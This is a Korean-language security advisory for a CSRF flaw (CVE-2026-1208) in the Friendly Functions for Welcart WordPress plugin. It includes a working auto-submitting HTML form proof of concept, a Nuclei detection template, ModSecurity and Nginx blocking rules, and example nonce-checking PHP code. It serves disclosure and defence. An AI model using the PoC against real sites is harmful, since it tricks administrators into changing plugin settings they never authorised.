
Welcart용 Friendly Functions <= 1.2.5 - 설정 업데이트로 이어지는 사이트 간 요청 위조
키워드: CVE-2026-1208, Friendly Functions for Welcart 취약점, CSRF, 사이트 간 요청 위조, WordPress 보안, WordPress 플러그인 취약점, CWE-352, Welcart 보안, 설정 조작, WordPress CVE 2026
Friendly Functions for Welcart WordPress 플러그인 CSRF 취약점 (CVE-2026-1208) - 인증되지 않은 공격자가 위조된 요청을 통해 플러그인 설정을 수정할 수 있는 보안 결함입니다.
Friendly Functions for Welcart 플러그인에서 사이트 간 요청 위조(CSRF) 취약점이 발견되었습니다. 이 취약점은 인증되지 않은 공격자가 관리자를 속여 악성 링크를 클릭하게 함으로써 플러그인 설정을 업데이트할 수 있게 합니다.
발견자: Kai Aizen (SnailSploit)
게시일: 2026년 1월 23일
CVSS 점수: 4.3 (Medium)
CWE: CWE-352 - 사이트 간 요청 위조 (CSRF)
플러그인: Friendly Functions for Welcart
공격 유형: 설정 업데이트를 위한 사이트 간 요청 위조
필요 권한: 없음 (인증되지 않은 공격 + 사회 공학)
WordPress용 Friendly Functions for Welcart 플러그인은 1.2.5를 포함한 모든 버전에서 사이트 간 요청 위조에 취약합니다. 이는 설정 페이지에서 nonce 검증이 누락되었거나 잘못되었기 때문입니다. 이로 인해 인증되지 않은 공격자가 사이트 관리자를 속여 링크 클릭과 같은 작업을 수행하게 할 수 있다면, 위조된 요청을 통해 플러그인 설정을 업데이트할 수 있습니다.
이 취약점으로 인해 인증되지 않은 공격자는 다음을 수행할 수 있습니다:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
취약점은 설정 페이지 구현에서 발생하며, 구체적으로는 다음과 같습니다:
취약점은 다음 위치에서 확인되었습니다:
ffw_function_settings.php - 53번째 줄ffw_function_settings.php - 58번째 줄이 공격은 인증된 관리자가 자신의 WordPress 사이트에 로그인한 상태에서 악성 페이지를 방문하거나 제작된 링크를 클릭하도록 속이는 사회 공학이 필요합니다.
Target: WordPress Admin with Friendly Functions for Welcart installed
Method: Malicious HTML page with auto-submitting form
Trigger: Administrator clicks link or visits attacker-controlled page
<!DOCTYPE html>
<html>
<head>
<title>CVE-2026-1208 - CSRF PoC</title>
</head>
<body>
<h1>Loading...</h1>
<form id="csrf-form" action="https://TARGET_SITE/wp-admin/admin.php?page=ffw-settings" method="POST">
<input type="hidden" name="ffw_setting_option" value="malicious_value" />
<!-- Add additional setting fields as needed -->
</form>
<script>
document.getElementById('csrf-form').submit();
</script>
</body>
</html>
⚠️ 경고: 이 PoC는 교육 및 승인된 테스트 목적으로만 제공됩니다.
# Check if vulnerable version is installed
wp plugin list | grep -i "friendly-functions-for-welcart"
# Get specific version
wp plugin get friendly-functions-for-welcart --field=version
Nuclei 템플릿:
id: CVE-2026-1208
info:
name: Friendly Functions for Welcart - CSRF to Settings Update
author: SnailSploit
severity: medium
description: |
Friendly Functions for Welcart plugin for WordPress is vulnerable
to CSRF in versions <= 1.2.5 due to missing nonce validation.
reference:
- https://github.com/SnailSploit/CVE-2026-1208
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/friendly-functions-for-welcart/friendly-functions-for-welcart-125-cross-site-request-forgery-to-settings-update
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
cvss-score: 4.3
cve-id: CVE-2026-1208
cwe-id: CWE-352
tags: cve,cve2026,wordpress,wp-plugin,csrf,welcart
requests:
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/friendly-functions-for-welcart/readme.txt"
matchers-condition: and
matchers:
- type: word
words:
- "Friendly Functions for Welcart"
- type: regex
regex:
- "(?i)Stable tag:\\s*(1\\.([0-1]\\.[0-9]|2\\.[0-5]))"
- type: status
status:
- 200
extractors:
- type: regex
name: version
group: 1
regex:
- "(?i)Stable tag:\\s*([0-9.]+)"
ModSecurity 규칙:
# CVE-2026-1208 - Block CSRF attempts to FFW settings
SecRule REQUEST_URI "@contains /wp-admin/admin.php" \
"chain,id:2026001,phase:2,t:none,t:urlDecodeUni,\
log,deny,status:403,msg:'CVE-2026-1208 CSRF Attempt Blocked'"
SecRule ARGS:page "@streq ffw-settings" \
"chain"
SecRule &REQUEST_HEADERS:Referer "@eq 0"
# Alternative: Block if referer doesn't match site domain
SecRule REQUEST_URI "@contains /wp-admin/admin.php" \
"chain,id:2026002,phase:2,t:none,\
log,deny,status:403,msg:'CVE-2026-1208 Cross-Origin Request Blocked'"
SecRule ARGS:page "@streq ffw-settings" \
"chain"
SecRule REQUEST_HEADERS:Referer "!@contains yourdomain.com"
Nginx 규칙:
# CVE-2026-1208 - CSRF Protection for FFW Settings
location /wp-admin/admin.php {
# Check for ffw-settings page without proper referer
if ($arg_page = "ffw-settings") {
set $csrf_check "1";
}
if ($http_referer !~ "^https?://(www\.)?yourdomain\.com") {
set $csrf_check "${csrf_check}1";
}
if ($csrf_check = "11") {
return 403;
}
# Pass to PHP handler
try_files $uri =404;
fastcgi_pass php-fpm;
include fastcgi_params;
}
즉시 조치 필요:
모든 설정 양식이 적절한 CSRF 보호를 구현하는지 확인하세요:
// Example of proper CSRF protection in WordPress
// In your form:
wp_nonce_field('ffw_settings_update', 'ffw_settings_nonce');
// In your form handler:
function process_settings_update() {
// Verify nonce
if (!isset($_POST['ffw_settings_nonce']) ||
!wp_verify_nonce($_POST['ffw_settings_nonce'], 'ffw_settings_update')) {
wp_die('Security check failed');
}
// Check capabilities
if (!current_user_can('manage_options')) {
wp_die('Unauthorized');
}
// Process settings update
// ...
}
연구원:
공개 절차: Wordfence 버그 바운티 프로그램을 통해 조정됨
이 정보는 보안 연구 및 방어 목적으로만 제공됩니다. 이 취약점을 악의적인 목적으로 악용하는 것은 불법이며 비윤리적입니다. 소유하지 않은 시스템을 테스트하기 전에 항상 적절한 승인을 받으십시오.
이 취약점에 대한 질문이나 추가 정보가 필요한 경우:
마지막 업데이트: 2026년 1월 23일
이 프로젝트의 전체 분석 자료, 방법론 및 관련 연구는 다음에서 확인할 수 있습니다:
https://snailsploit.com/security-research/cves/cve-2026-1208/
Kai Aizen 제작 — 독립적인 공격적 보안 연구원.
snailsploit.com · 연구 · 프레임워크 · GitHub · LinkedIn · ResearchGate · X/Twitter
동일한 공격. 다른 기반.
| 지표 | 값 |
|---|
| 공격 벡터 | 네트워크 (AV:N) |
| 공격 복잡성 | 낮음 (AC:L) |
| 필요 권한 | 없음 (PR:N) |
| 사용자 상호 작용 | 필요 (UI:R) |
| 범위 | 변경되지 않음 (S:U) |
| 기밀성 | 없음 (C:N) |
| 무결성 | 낮음 (I:L) |
| 가용성 | 없음 (A:N) |